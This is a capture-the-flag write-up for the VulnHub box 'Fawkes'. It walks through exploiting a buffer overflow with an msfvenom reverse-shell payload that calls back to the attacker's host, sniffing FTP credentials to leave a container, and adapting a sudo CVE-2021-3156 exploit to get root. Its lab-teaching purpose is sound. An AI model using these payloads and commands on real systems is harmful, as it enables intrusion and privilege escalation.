Harry Potter Part 3: Fawkes

So this is the final box in the Harry Potter series on VulnHub. This box definitely elevated the skills from the last two boxes. This box helps teach you the following:

• Banner Grabbing
• Buffer Overflow attack
• Traffic analysis
• Docker Breakout
• Exploit modification

Initial Box

IP=192.168.4.35
nmap -sC -sV -A $IP -oN Fawkes.nmap

• 21, 22, 80, 2222, 9898

So we’ll start with the easy ones and work our way up. Nmap already told us the ftp allowed anonymous login, so go there first.

ftp access

So only one file available, let’s grab it with get server_hogwarts. Nothing else here so we’ll exit. So we have this file, what is it? I’ll start with identifying it with file server_hogwarts. It says it is a 32-bit elf, so it should run on our architecture if we wanted to. I’ll check to see if any libraries are needed for it by running ldd server_hogwarts and there are none. Okay, all self contained. Let’s check to see if notice anything special with strings server_hogwarts. Appears to be a c-family program and I also see some bad functions in it like strcpy which is known for buffer overflows. I’ll put this in our pocket and keep enumerating. Let’s curl $IP and we get another default webpage like the last boxes. Try checking whatweb $IP and we don’t get anything else. Let’s start a directory buster: gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt. That returned absolutely nothing, so let’s check the next port. Port 2222 is an SSH server, so what is this 9898? Let’s start with a banner grab using nc $IP 9898.

Port 9898 Banner Grabbing

Okay, so this doesn’t do much as each number gives an error. So we walked through every port, let’s go back to this executable. We can run it on our box with ./server_hogwarts. It looks like it does nothing but hangs, let’s see what is going on. Let’s first see if it created new processes. Running ps elf shows that the executable started, but no sub-processes. Let’s check connections with ss -ntlp.

checking ports

So it started running on port 9898, could it be the same as the server? If we connect to nc localhost 9898 we get the exact same result! So now we have a local copy of program running on the server, is this a buffer overflow opportunity? Let’s give it a shot. We’ll start with writing some small python code to spike the program and see what it gives:

spiker program

Running the spiker

So we got a crash in the code! perfect. I can see where it crashed by checking the device messages and seeing what just happened. We can tell that the instruction pointer gets overwritten, so its time to start developing an exploit. Since I’m a command-line cowboy, I’ll use ol’ gdb and the gdb-peda addins. If you don’t have these, they are a nice feature to add in to your toolbox. So let’s run this in debugger with gdb ./server_hogwarts and see how it goes. Make sure you hit r in gdb so that the server is running:

Using debugger to see the crash

Okay, so as we can see we have overwritten EIP, but we also put ‘1’s in EAX, ‘A’s in EBX, EBP, and ESP. Looks like we could overwrite a lot. In order to figure out where exactly in our buffer we sent these reside, we need to put some non-repeating characters in there. Let’s send a cyclic(200) into the buffer instead of all those A’s and 1’s and see what we get.

Determining offsets

So now we can see that we are controlling multiple areas. We can see from our debugger that EBX and EBP is also overwritten. The beginning of our buffer starts in EAX and runs all the way through hitting EIP. Doing a lookup on it, it appears that EIP is at offset 112. If I modify the code to put our buffer to end at the EIP offset number, then add what I want to the buffer we should be able to control EIP with what we want. I’ll try to do that and put “BBBB” in there. Let’s see what that does:

Controlling EIP

And there we go, we got “BBBB” in the register! Okay, so now we can put whatever we want in there, now what do we do? Let’s make a payload we can use to put into our buffer and get us a callback. I’m going to start by assuming there are two bad characters we shouldn’t use. If our program starts getting crazy, maybe we will have to go back and ensure we don’t have bad characters. I’ll make a payload with msfvenom -p linux/x86/shell_reverse_tcp LPORT=4444 LHOST=192.168.4.31 -f python -v buf -b “\x00\x0a” and it gives me shellcode that is 95 bytes long. I’ll add that code to my script, but where do we put it? Since we can control RIP, where should we tell it to go? Let’s use a tool that will help us find assembly commands: ropper — file ./server_hogwarts — search “jmp esp” and it finds us one location that has that option: 0x08049d55. Okay, so if we set EIP to go to this address, it will then execute what is in ESP, which is code that we control. Remember if the ropper tool doesn’t return a good option, we controlled other registers as well above. We could check for those too. Let’s put it all together.

Local test

And we got a shell! Awesome. Now the moment of truth, let’s connect to the Fawkes server and see if we get one from there.

remote execution

All right! we got a connection back from the server. Perfect. That is a weird hostname, but we are in as harry. I usually see those types of hostnames when inside of a container. I’ll go check the home directory and we find a file called .mycreds.txt which is suspect; it has a string in it. Since we have two ssh ports open on the box, I’ll try them both and it works on port 2222. However, when it starts up I see the phrase “Alpine” and I know what kind of OS that is…an OS designed for containers! I’ll run a quick sudo -l and harry can do anything as root! Let’s try to get to root so how about sudo /bin/bash. Doesn’t work, but we are in Alpine. let’s try sudo /bin/ash. That gets us there. cd /root; ls -al and we see a horocrux file and a note.txt

misconfiguration note

Hmmm, what traffic? Well, I guess we can just dump the traffic and see what comes out. I don’t want all the traffic, so we’ll just look for FTP which has two ports (data and command). Let’s use tcpdump -i eth port ftp or ftp-data and see what scrolls by. Nothing a first, but then a bunch of things fly by.

Dumping ftp traffic

As we know, ftp uses no encryption so we see the username in plain text. I scroll down some more and I find a password. Okay, let’s see where that takes us. ssh neville@$IP works. Not only does it let us in, but it lets us in and says it is Debian box! So we escaped the container. Check sudo -l real quick but no specials for this user. Okay, let’s just run linpeas and see what direction we get. Doing my first pass on linpeas, here is what sticks out to me:

• there is a /etc/passwd.bak
• password found for mysql
• there is a /usr/local/bin/sudo
• port 68 on UDP
• additional hostname is WordAttacker
• cron is running, but nothing stands out for the default directory

We can start at the top and work our way down. Reading a /etc/passwd file is required as that is where user information is. Doing a diff /etc/passwd /etc/passwd.bak provides one user change: ftp. We already used that to pull down that file we performed the buffer overflow on. Looking at the credentials for mysql, there is a wordpress page that can connect to mysql. However, mysql isn’t listening on a port! I’ll recheck with ss -ltnp and nope, it isn’t listening. Let’s try password reuse and see if this lets us login: su root. That fails. Okay, moving on. Looking at sudo, that isn’t usually where it goes. By default it goes in /usr/bin/sudo so this is unique. Let’s check it out with /usr/local/bin/sudo -V. So this is version 1.8.27. I’ll run searchsploit sudo it finds one with this specific version. Reading the exploit, it highlights that you need to have an entry in the sudoers file in order for it to work. When we run sudo -l it doesn’t say we do, but we can try. Run sudo -u#-1 /bin/bash and it fails. Rats. Let’s see if there is another one out there, since having this special installation is weird. Google says CVE-2021–3156 is encouraging! Let’s download one and see what we need to do. It comes with a make file, so make gives us a exploit executable. Let’s copy it over and see. Ran but gave us nothing. Rats again.

Examining the exploit

Looking at the bottom of the exploit, it looks for /usr/bin/sudoedit. But in our instance, we have sudo in a weird spot. Where is sudoedit? Let’s look with find / -name sudoedit 2>/dev/null. Ah, we have that file in a different spot too. Let’s see if it makes a difference. Modify the file then do make clean; make to generate a new executable. Upload it an cross our fingers. Whoa, got a totally different result this time. This time I got a “Segmentation fault”. So this appears to be a race condition, so let’s let it run in the shell script it came with.

Looping for the race condition to succeed

After multiple passes, it finally drops us in as root! Fairly neat box and good culmination of the other two boxes. We found all 8 tokens so we apparently have defeated Voldemort. With these three boxes in a row, it should definitely be building a toolbox for you to use, so that makes this adventure a positive one. See you all next time!